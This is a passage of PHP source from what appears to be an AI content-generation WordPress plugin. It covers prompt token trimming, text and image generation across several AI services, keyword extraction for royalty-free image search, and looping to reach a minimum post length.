                                    $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $aicontent, $query_token_count);
                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                    {
                                        $string_len = strlen($aicontent);
                                        $string_len = $string_len / 2;
                                        $string_len = intval(0 - $string_len);
                                        $aicontent = aiomatic_substr($aicontent, 0, $string_len);
                                        $aicontent = trim($aicontent);
                                        if(empty($aicontent))
                                        {
                                            aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($ai_command, true));
                                            break;
                                        }
                                        $query_token_count = count(aiomatic_encode($aicontent));
                                        $available_tokens = $max_tokens - $query_token_count;
                                    }
                                    $aierror = '';
                                    $finish_reason = '';
                                    if(!empty($global_prepend))
                                    {
                                        $aicontent = $global_prepend . ' ' . $aicontent;
                                    }
                                    if(!empty($global_append))
                                    {
                                        $aicontent = $aicontent . ' ' . $global_append;
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                    {
                                        $api_service = aiomatic_get_api_service($token, $model);
                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for text: ' . $aicontent);
                                    }
                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating post content'));
                                    $generated_text = aiomatic_generate_text($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'contentID' . $param, 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                    if($generated_text === false)
                                    {
                                        aiomatic_log_to_file($aierror);
                                        break;
                                    }
                                    else
                                    {
                                        $new_post_content = ucfirst(trim(nl2br(trim($generated_text))));
                                        if($finish_reason == 'length')
                                        {
                                            $query_token_count = count(aiomatic_encode($new_post_content));
                                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $new_post_content, $query_token_count);
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating post content (2)'));
                                            $generated_text = aiomatic_generate_text($token, $model, $new_post_content, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'contentID' . $param, 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                            if($generated_text !== false)
                                            {
                                                $new_post_content .= ' ' . ucfirst(trim(nl2br(trim($generated_text))));
                                            }
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                    {
                                        $api_service = aiomatic_get_api_service($token, $model);
                                        aiomatic_log_to_file('Successfully got API result from ' . $api_service . '.');
                                    }
                                    if($min_char == '')
                                    {
                                        $min_char = 0;
                                    }
                                    else
                                    {
                                        $min_char = intval($min_char);
                                    }
                                    $cnt = 1;
                                    $max_fails = 10;
                                    $failed_calls = 0;
                                    $heading_results = $headings_arr;
                                    if($headings != '' && is_numeric($headings))
                                    {
                                        if(count($heading_results) < $headings)
                                        {
                                            $heading_results_ai = aiomatic_scrape_related_questions($new_post_title, $headings, $headings_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $headings_ai_command, $assistant_id);
                                            $heading_results = array_merge($heading_results, $heading_results_ai);
                                        }
                                    }
                                    $ai_retry = false;
                                    if($image_size == '')
                                    {
                                        $image_size = '256x256';
                                    }
                                    if(strlen($new_post_content) > $min_char)
                                    {
                                        $add_my_image = '';
                                        $temp_get_img = '';
                                        if(count($heading_results) > 0)
                                        {
                                            $rand_heading = '';
                                            $saverand = array_rand($heading_results);
                                            $rand_heading = $heading_results[$saverand];
                                            unset($heading_results[$saverand]);
                                            if(isset($rand_heading['q']))
                                            {
                                                $rand_heading['q'] = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $rand_heading['q']);
                                                $heading_val = '

            ' . $rand_heading['q'] . '

            '; if($rand_heading['a'] != '') { $heading_val .= '' . $rand_heading['a'] . ''; } $image_query = $rand_heading['q']; } } if($heading_val == '') { $temp_post = trim($new_post_content); } else { $temp_post = trim($heading_val); } if($images != '' && is_numeric($images) && $images > $added_images) { $query_words = $post_title; if($image_query == '') { $image_query = $temp_post; } if($enable_ai_images == '1') { if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API image seed expression provided!'); } else { if(strlen($ai_command_image) > 400) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 400); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $image_model); aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image); } $aierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image')); $temp_get_imgs = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'contentImage', false, 0, $aierror, $image_model); if($temp_get_imgs !== false) { foreach($temp_get_imgs as $tmpimg) { $added_images++; $added_img_list[] = $tmpimg; $temp_get_img = $tmpimg; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated image returned: ' . $temp_get_img); } } else { aiomatic_log_to_file('Failed to generate AI image: ' . $aierror); $temp_get_img = ''; } } } else { aiomatic_log_to_file('Empty AI image query entered.'); } } elseif($enable_ai_images == '2') { if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API image seed expression provided!'); } else { if(strlen($ai_command_image) > 2000) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Stability.AI'; aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image (Stable Diffusion)')); $temp_get_imgs = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'contentStableImage', 0, false, $ierror, false, false); if($temp_get_imgs !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs[1]); } $added_images++; $added_img_list[] = $temp_get_imgs[1]; $temp_get_img = $temp_get_imgs[1]; } else { aiomatic_log_to_file('Failed to generate Stability.AI image: ' . $ierror); $temp_get_img = ''; } } } else { aiomatic_log_to_file('Empty AI image query entered.'); } } elseif($enable_ai_images == '4') { if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API image seed expression provided!'); } else { if(strlen($ai_command_image) > 2000) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Midjourney'; aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } elseif($image_size == '1792x1024') { $width = '1792'; $height = '1024'; } elseif($image_size == '1024x1792') { $width = '1024'; $height = '1792'; } else { $width = '512'; $height = '512'; } $ierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image (Midjourney)')); $temp_get_imgs = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'contentMidjourneyImage', false, $ierror); if($temp_get_imgs !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs); } $added_images++; $added_img_list[] = $temp_get_imgs; $temp_get_img = $temp_get_imgs; } else { aiomatic_log_to_file('Failed to generate Midjourney image: ' . $ierror); $temp_get_img = ''; } } } else { aiomatic_log_to_file('Empty AI image query entered.'); } } elseif($enable_ai_images == '3') { if ($image_url != '') { $replacement = str_replace(array('[', ']'), '', $query_words); $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url); $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv); return $my_img; }, $image_url_temp); $img_rulx = $spintax->Parse(trim($image_url_temp)); $selected_img = aiomatic_select_ai_image($post_title, $img_rulx); if($selected_img === false) { $img_rulx = explode(',', $img_rulx); $img_rulx = trim($img_rulx[array_rand($img_rulx)]); if($img_rulx != '') { $added_images++; $added_img_list[] = $img_rulx; $temp_get_img = $img_rulx; } } else { $added_images++; $added_img_list[] = $selected_img; $temp_get_img = $selected_img; } } } elseif(count($images_arr) > 0) { $first_el = array_shift($images_arr); $first_el = aiomatic_replaceSynergyShortcodes($first_el); $added_images++; $added_img_list[] = $first_el; $temp_get_img = $first_el; } else { $image_query_set = false; $query_words = ''; $ai_command_image = ''; if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } } if($ai_command_image != '') { $query_words = $ai_command_image; $image_query = $ai_command_image; $image_query_set = true; } if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor') { if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '') { try { if(!class_exists('TextRazor')) { require_once(dirname(__FILE__) . "/res/TextRazor.php"); } TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key'])); $textrazor = new TextRazor(); $textrazor->addExtractor('entities'); $response = $textrazor->analyze($image_query); if (isset($response['response']['entities'])) { foreach ($response['response']['entities'] as $entity) { $query_words = ''; if(isset($entity['entityEnglishId'])) { $query_words = $entity['entityEnglishId']; } else { $query_words = $entity['entityId']; } if($query_words != '') { $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, false, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $added_images++; $added_img_list[] = $z_img; $temp_get_img = $z_img; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img); } break; } } } } } catch(Exception $e) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage()); } } } } elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai') { if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '') { if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '') { $kw_model = $aiomatic_Main_Settings['keyword_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '') { $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id']; } else { $keyword_assistant_id = ''; } $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']); $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command); if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command); $title_ai_command = array_filter($title_ai_command); if(count($title_ai_command) > 0) { $title_ai_command = $title_ai_command[array_rand($title_ai_command)]; } else { $title_ai_command = ''; } } $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); if(!empty($title_ai_command)) { $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } $title_ai_command = trim($title_ai_command); if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($title_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $title_ai_command = $txt_content; $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API keyword extractor seed expression provided!'); $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled: ' . trim(strip_tags($post_title)); } if(strlen($title_ai_command) > $max_seed_tokens * 4) { $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $title_ai_command = trim($title_ai_command); if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API title seed expression provided(4)! ' . print_r($title_ai_command, true)); } else { $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($title_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len); $title_ai_command = trim($title_ai_command); $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $title_ai_command = $global_prepend . ' ' . $title_ai_command; } if(!empty($global_append)) { $title_ai_command = $title_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Calling ' . $api_service . ' for (' . $keyword_assistant_id . '/' . $kw_model . ') title text: ' . $title_ai_command); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating keywords for image search')); $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Keyword generator error: ' . $aierror); $ai_title = ''; } else { $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); $ai_titles = explode(',', $ai_title); $heading_cnt = 1; foreach($ai_titles as $query_words) { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating heading images #' . $heading_cnt)); $heading_cnt++; $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, false, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $added_images++; $added_img_list[] = $z_img; $temp_get_img = $z_img; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img); } break; } } } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title); } } } } if(empty($temp_get_img)) { $keyword_class = new Aiomatic_keywords(); $query_words = $keyword_class->keywords($image_query, 2); $temp_img_attr = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating royalty free image')); $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list); if($temp_get_img == '' || $temp_get_img === false) { $query_words = $keyword_class->keywords($image_query, 1); $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 20, false, $raw_img_list, array(), $full_result_list); if($temp_get_img == '' || $temp_get_img === false) { $temp_get_img = ''; } else { if(!in_array($temp_get_img, $added_img_list)) { $added_images++; $added_img_list[] = $temp_get_img; } else { $temp_get_img = ''; } } } else { if(!in_array($temp_get_img, $added_img_list)) { $added_images++; $added_img_list[] = $temp_get_img; } else { $temp_get_img = ''; } } } } if($temp_get_img != '') { $add_my_image = '
            ' . esc_attr($query_words) . '
            '; } } if($heading_val == '') { $new_post_content = $add_my_image . $new_post_content; } else { $new_post_content = $add_my_image . $heading_val . ' ' . $new_post_content; } } else { $ai_continue_title = $post_title; $extend_id = 1; while(strlen(strip_tags($new_post_content)) < $min_char) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) < $cnt) { break; } $just_set_fallback = false; $image_query = ''; $heading_val = ''; if(count($heading_results) > 0) { $rand_heading = ''; $saverand = array_rand($heading_results); $rand_heading = $heading_results[$saverand]; unset($heading_results[$saverand]); if(isset($rand_heading['q'])) { $rand_heading['q'] = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $rand_heading['q']); $heading_val = '

            ' . $rand_heading['q'] . '

            ' . '' . $rand_heading['a']; $image_query = $rand_heading['q']; } } if($heading_val == '') { $temp_post = trim($new_post_content); } else { $temp_post = trim($heading_val); } if(strlen($temp_post) > $max_continue_tokens * 4) { $negative_contiue_tokens = 0 - ($max_continue_tokens * 4); $newaicontent = aiomatic_substr($temp_post, $negative_contiue_tokens, null); } else { $newaicontent = $temp_post; } $add_me_to_text = ''; if($ai_retry == true) { $just_set_fallback = true; if(count($headings_arr_copy) == 0) { if (isset($aiomatic_Main_Settings['alternate_continue']) && $aiomatic_Main_Settings['alternate_continue'] == 'on') { $newaicontent = $newaicontent . ' ' . $ai_continue_title; } else { $prai = 'Write a People Also Asked question related to "' . $ai_continue_title . '"'; $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $prai = $global_prepend . ' ' . $prai; } if(!empty($global_append)) { $prai = $prai . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for PAA question generator: ' . $prai); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating PAA questions')); $generated_text = aiomatic_generate_text($token, $model, $prai, AIOMATIC_DEFAULT_MAX_TOKENS, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'headingID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Similarity finding failed: ' . $aierror); $newaicontent = $aicontent; } else { $newaicontent = ucfirst(trim(nl2br(trim($generated_text)))); if(empty($newaicontent)) { $newaicontent = $aicontent; } else { $newaicontent = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $newaicontent); $add_me_to_text = '

            ' . $newaicontent . '

            '; $ai_continue_title = $newaicontent; } } } } else { $randomIndex = array_rand($headings_arr_copy); $newaicontent = $headings_arr_copy[$randomIndex]; unset($headings_arr_copy[$randomIndex]); $newaicontent = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $newaicontent); $add_me_to_text = '

            ' . $newaicontent . '

            '; } } $ai_retry = false; $newaicontent = trim($newaicontent); $query_token_count = count(aiomatic_encode($newaicontent)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $newaicontent, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($newaicontent); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $newaicontent = aiomatic_substr($newaicontent, 0, $string_len); $newaicontent = trim($newaicontent); if(empty($newaicontent)) { aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($temp_post, true)); break; } $query_token_count = count(aiomatic_encode($newaicontent)); $available_tokens = $max_tokens - $query_token_count; } $aiwriter = ''; $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $newaicontent = $global_prepend . ' ' . $newaicontent; } if(!empty($global_append)) { $newaicontent = $newaicontent . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $model); $rwair = ''; if($just_set_fallback == true) { $rwair = '(fallback)'; } aiomatic_log_to_file('Calling ' . $api_service . ' again (' . $cnt . ')' . $rwair . ', to meet minimum character limit: ' . $min_char . ' - current char count: ' . strlen(strip_tags($new_post_content))); } if (isset($aiomatic_Main_Settings['continue_prepend']) && $aiomatic_Main_Settings['continue_prepend'] != '') { $newaicontent = $aiomatic_Main_Settings['continue_prepend'] . '\n\n' . $newaicontent; } if (isset($aiomatic_Main_Settings['continue_append']) && $aiomatic_Main_Settings['continue_append'] != '') { $newaicontent = $newaicontent . '\n\n' . $aiomatic_Main_Settings['continue_append']; } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating post content extensions #' . $extend_id)); $extend_id++; $generated_text = aiomatic_generate_text($token, $model, $newaicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'contentID' . $param, 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file($aierror); break; } else { $aiwriter = $add_me_to_text . ucfirst(trim(nl2br(trim($generated_text)))); } $add_my_image = ''; $temp_get_img = ''; if($aiwriter == '') { $ai_retry = true; if($just_set_fallback == true) { aiomatic_log_to_file('Ending execution, already retried once'); break; } continue; } if($images != '' && is_numeric($images) && $images > $added_images) { $image_query_set = false; $query_words = ''; $ai_command_image = ''; if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); 